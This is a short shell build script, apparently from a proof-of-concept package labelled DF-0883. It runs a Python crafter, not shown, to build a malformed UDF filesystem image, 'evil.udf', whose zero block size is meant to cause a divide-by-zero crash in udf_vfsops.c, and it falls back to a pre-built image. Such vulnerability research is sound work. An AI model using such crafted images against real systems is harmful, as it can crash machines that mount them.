#!/bin/sh
# DF-0883 build: craft the malicious UDF image (Python3 on host, or use pre-built).
# Produces evil.udf with lb_size=0 in the LVD, triggering a divide-by-zero at
# udf_vfsops.c:667 (p_sectors = packet_len / bsize).
set -e
cd "$(dirname "$0")"
if command -v python3 >/dev/null 2>&1; then
    python3 craft_evil_udf.py evil.udf
    echo "[+] build complete: evil.udf ready"
else
    # Guest has no python3 — rely on the pre-built evil.udf shipped in the folder.
    if [ -f evil.udf ]; then
        echo "[+] using pre-built evil.udf ($(wc -c < evil.udf) bytes)"
    else
        echo "[!] no python3 and no pre-built evil.udf — build failed" >&2
        exit 1
    fi
fi
